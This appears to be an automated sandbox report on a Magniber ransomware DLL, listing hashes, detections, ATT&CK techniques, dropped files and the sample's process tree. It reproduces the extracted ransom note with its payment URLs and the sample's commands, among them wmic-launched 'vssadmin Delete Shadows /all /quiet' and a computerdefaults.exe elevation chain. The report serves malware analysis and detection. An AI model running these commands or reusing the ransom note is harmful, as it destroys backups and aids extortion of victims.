magniber | 2b474cca6c5ff5e1d435d91694b4436876901e3be9c63c3a1d76ff3dbc432017

Analysis

max time kernel
30s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
25-12-2023 02:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

009aaaf3b4f3a34b662cb9d27fb4409d.dll
Size

39KB
MD5

009aaaf3b4f3a34b662cb9d27fb4409d
SHA1

ac5bfd05ec67090c4f7180519628328e29f3f39a
SHA256

2b474cca6c5ff5e1d435d91694b4436876901e3be9c63c3a1d76ff3dbc432017
SHA512

50973c3ac2849c8664d74d7efc07fcb0a43260d05030fa7772f135cf716357d522309e70d7ba4ee51cd44ea7a3c711b321221b33ab192ccce6ee71dceb527aea
SSDEEP

768:QJvL0rvzhHm06R0Zd+01mV0kgMazfo269xnWf77/KrkVPe4kQKNNJ7kIGsp9C88K:q0rvzhV6Ra+01Y0dMio39xWDrKrkVm4i

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://f85c28c82678643058sgokwyejx.yeipgu36oui5z4yvck5w6d252oo3h7ktcsxvs3m2wac6ezmti2iotzad.onion/sgokwyejx Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://f85c28c82678643058sgokwyejx.actmake.site/sgokwyejx http://f85c28c82678643058sgokwyejx.bearsat.space/sgokwyejx http://f85c28c82678643058sgokwyejx.mixedon.xyz/sgokwyejx http://f85c28c82678643058sgokwyejx.spiteor.space/sgokwyejx Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://f85c28c82678643058sgokwyejx.yeipgu36oui5z4yvck5w6d252oo3h7ktcsxvs3m2wac6ezmti2iotzad.onion/sgokwyejx

http://f85c28c82678643058sgokwyejx.actmake.site/sgokwyejx

http://f85c28c82678643058sgokwyejx.bearsat.space/sgokwyejx

http://f85c28c82678643058sgokwyejx.mixedon.xyz/sgokwyejx

http://f85c28c82678643058sgokwyejx.spiteor.space/sgokwyejx

Signatures

Detect magniber ransomware 2 IoCs

resource	yara_rule
behavioral2/memory/2904-0-0x00000201373B0000-0x00000201376EA000-memory.dmp	family_magniber
behavioral2/memory/2464-72-0x000001B865930000-0x000001B865934000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 20 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	116	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4480	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5380	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2388	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4920	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5384	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5044	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1616	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6128	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5216	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3104	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4932	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5680	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5440	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3856	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5236	1456	vssadmin.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5568	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	752	1456	cmd.exe	95
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4900	1456	vssadmin.exe	95

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2904 set thread context of 2464	2904	rundll32.exe	62

Interacts with shadow copies 2 TTPs 12 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5236	vssadmin.exe
5384	vssadmin.exe
4932	vssadmin.exe
5680	vssadmin.exe
2668	vssadmin.exe
6128	vssadmin.exe
3104	vssadmin.exe
3856	vssadmin.exe
4900	vssadmin.exe
4480	vssadmin.exe
5380	vssadmin.exe
4920	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3872	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2904	rundll32.exe
2904	rundll32.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2904	rundll32.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\009aaaf3b4f3a34b662cb9d27fb4409d.dll,#1
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2904

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2464
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3872
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  PID:1836
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:3336
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
  2⤵
  PID:828
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
    3⤵
    PID:5032
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:3632
- C:\Windows\system32\cmd.exe
  cmd /c "start http://f85c28c82678643058sgokwyejx.actmake.site/sgokwyejx^&2^&51280563^&80^&319^&2219041"
  2⤵
  PID:3908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://f85c28c82678643058sgokwyejx.actmake.site/sgokwyejx&2&51280563&80&319&2219041
    3⤵
    PID:668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2912 /prefetch:8
      4⤵
      PID:1832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
      4⤵
      PID:1840
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4028 /prefetch:1
      4⤵
      PID:5272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
      4⤵
      PID:4744
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 /prefetch:3
      4⤵
      PID:4732
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2
      4⤵
      PID:2176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4124 /prefetch:8
      4⤵
      PID:5864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4124 /prefetch:8
      4⤵
      PID:5848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4164 /prefetch:1
      4⤵
      PID:5800
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4784 /prefetch:1
      4⤵
      PID:6012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4824 /prefetch:1
      4⤵
      PID:6004
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
      4⤵
      PID:2128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5440 /prefetch:1
      4⤵
      PID:5236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3120 /prefetch:1
      4⤵
      PID:5184
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2104,4989861379508061415,15093128105191661885,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:5672

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2604

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:2612
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:3884

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffee56a46f8,0x7ffee56a4708,0x7ffee56a4718
1⤵
PID:3484

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:3160
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:3320

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:116

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4480

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5252

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5428

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:5380

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:2388

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4920

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
1⤵
PID:5780
- C:\Windows\system32\wbem\WMIC.exe
  C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
  2⤵
  PID:5936

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
1⤵
PID:5944

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:6140
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:6028

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:5204
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:6040

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2668

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:5384

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5044

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:1616

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:6128

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
1⤵
PID:5768

C:\Windows\system32\wbem\wmic.exe
C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
1⤵
PID:5756

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
1⤵
PID:5032

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5216
- C:\Windows\system32\ComputerDefaults.exe
  computerdefaults.exe
  2⤵
  PID:5244
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:5504

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:5428
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:5112

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3104

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4932

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:5680

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5440

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
1⤵
PID:4384

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
1⤵
PID:5912

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
1⤵
PID:5972

C:\Windows\system32\wbem\wmic.exe
C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
1⤵
PID:5604

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
1⤵
PID:5760
- C:\Windows\system32\wbem\WMIC.exe
  C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
  2⤵
  PID:5552

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:5972
- C:\Windows\system32\wbem\wmic.exe
  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:5264

C:\Windows\system32\wbem\wmic.exe
"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
1⤵
PID:5688

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3856

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:5236

C:\Windows\system32\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:836

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:5568

C:\Windows\system32\cmd.exe
cmd /c computerdefaults.exe
1⤵
- Process spawned unexpected child process
PID:752

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:4900

C:\Windows\system32\wbem\WMIC.exe
C:\Windows\system32\wbem\wmic process call create "cmd /c computerdefaults.exe"
1⤵
PID:4100

C:\Windows\system32\cmd.exe
cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c computerdefaults.exe""
1⤵
PID:5740

C:\Windows\system32\wbem\wmic.exe
C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
1⤵
PID:4648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
4d6e17218d9a99976d1a14c6f6944c96

SHA1
9e54a19d6c61d99ac8759c5f07b2f0d5faab447f

SHA256
32e343d2794af8bc6f2f7c905b5df11d53db4ad8922b92ad5e7cc9c856509d93

SHA512
3fa166b3e2d1236298d8dda7071a6fcf2bde283f181b8b0a07c0bb8ba756d6f55fa8a847ca5286d4dbabc6dace67e842a118866320ac01bd5f93cccd3a032e47

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
84c65375aad9d1bc46bd6cb28bd26f96

SHA1
9e6adde33480cbfda6ae49b7b7aa2c95f411e3a0

SHA256
c9a049201d783a2cb6255a11b2d472b21b7ca1794f28488682553f57922f1469

SHA512
4b9672ac4a929bb0bf9d2ba9b18c892443a9d9841ef23ce5b06711e5c242d76dc72a6fd44b8bbcba57ab47f93a365225958598cccfc3a056b9c44d1b9bb67f65

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
04e068a1b7c5be7616c3c1e8845c782e

SHA1
d1d6625d61785653d81f5cfcf7df9e56a243aaba

SHA256
daf3ed6f0a7b4920f4e591b09f0d396f4796ad1694cd1abd7d171a26e97ab4ba

SHA512
3827d736a9872d01c6b55d8b64dd7f6c2686daa2b5d02982d4c557592a07267cd011545fe6aacc08c55740e32fe0dec5e9b8adb0712edc49d32271ba85569ec3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
c2ef1d773c3f6f230cedf469f7e34059

SHA1
e410764405adcfead3338c8d0b29371fd1a3f292

SHA256
185450d538a894e4dcf55b428f506f3d7baa86664fbbc67afd6c255b65178521

SHA512
2ef93803da4d630916bed75d678382fd1c72bff1700a1a72e2612431c6d5e11410ced4eaf522b388028aeadb08e8a77513e16594e6ab081f6d6203e4caa7d549

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
9d0f8b185d841635ae6a170a2b4e0022

SHA1
2d4bbd2034cec5e0cbcf5128f7e393b8fc69a68e

SHA256
6869b0f973884b8cd5e188ba6d830b6131ddc23f443b29778e4e2f7cff2372bd

SHA512
d97a5ed8b318032053dec086d24cc278a894e8df47abd6e07c0d1d2fdac15bc0348a500d3d398c19f80ac1188dd2554a7737036e7abfcffd6ede9974f9cf9a30

Download Submit
C:\Users\Admin\Pictures\readme.txt

Filesize
1KB

MD5
ef7bcda62e187efa9f111d3d63bd8c25

SHA1
1880efab398505d5bb61d54099993bfe8aba4d86

SHA256
9390de7f31f6aafc1417a4949bf6d8a3f9b194a933f3470c9dcb744880ba5b6c

SHA512
a710a767fc0a66faf59c04f3fc32ab54f3029e4aa48f22fffdac3dc3317bbde502aa58600e79b1e83a16e2bb6158746d5c2dea1b490d020b303d65c2b7df5e3c

Download Submit
memory/2464-72-0x000001B865930000-0x000001B865934000-memory.dmp

Filesize
16KB

Download
memory/2464-7-0x000001B865930000-0x000001B865934000-memory.dmp

Filesize
16KB

Download
memory/2904-0-0x00000201373B0000-0x00000201376EA000-memory.dmp

Filesize
3.2MB

Download
memory/2904-42-0x0000020137A40000-0x0000020137A41000-memory.dmp

Filesize
4KB

Download
memory/2904-41-0x0000020137A30000-0x0000020137A31000-memory.dmp

Filesize
4KB

Download
memory/2904-58-0x0000020137A60000-0x0000020137A61000-memory.dmp

Filesize
4KB

Download
memory/2904-11-0x00000201379F0000-0x00000201379F1000-memory.dmp

Filesize
4KB

Download
memory/2904-55-0x0000020137A50000-0x0000020137A51000-memory.dmp

Filesize
4KB

Download
memory/2904-27-0x0000020137A00000-0x0000020137A01000-memory.dmp

Filesize
4KB

Download
memory/2904-6-0x00000201379E0000-0x00000201379E1000-memory.dmp

Filesize
4KB

Download
memory/2904-1-0x0000020137370000-0x0000020137371000-memory.dmp

Filesize
4KB

Download
memory/2904-2-0x0000020137380000-0x0000020137381000-memory.dmp

Filesize
4KB

Download
memory/2904-3-0x00000201379B0000-0x00000201379B1000-memory.dmp

Filesize
4KB

Download
memory/2904-4-0x00000201379C0000-0x00000201379C1000-memory.dmp

Filesize
4KB

Download
memory/2904-5-0x00000201379D0000-0x00000201379D1000-memory.dmp

Filesize
4KB

Download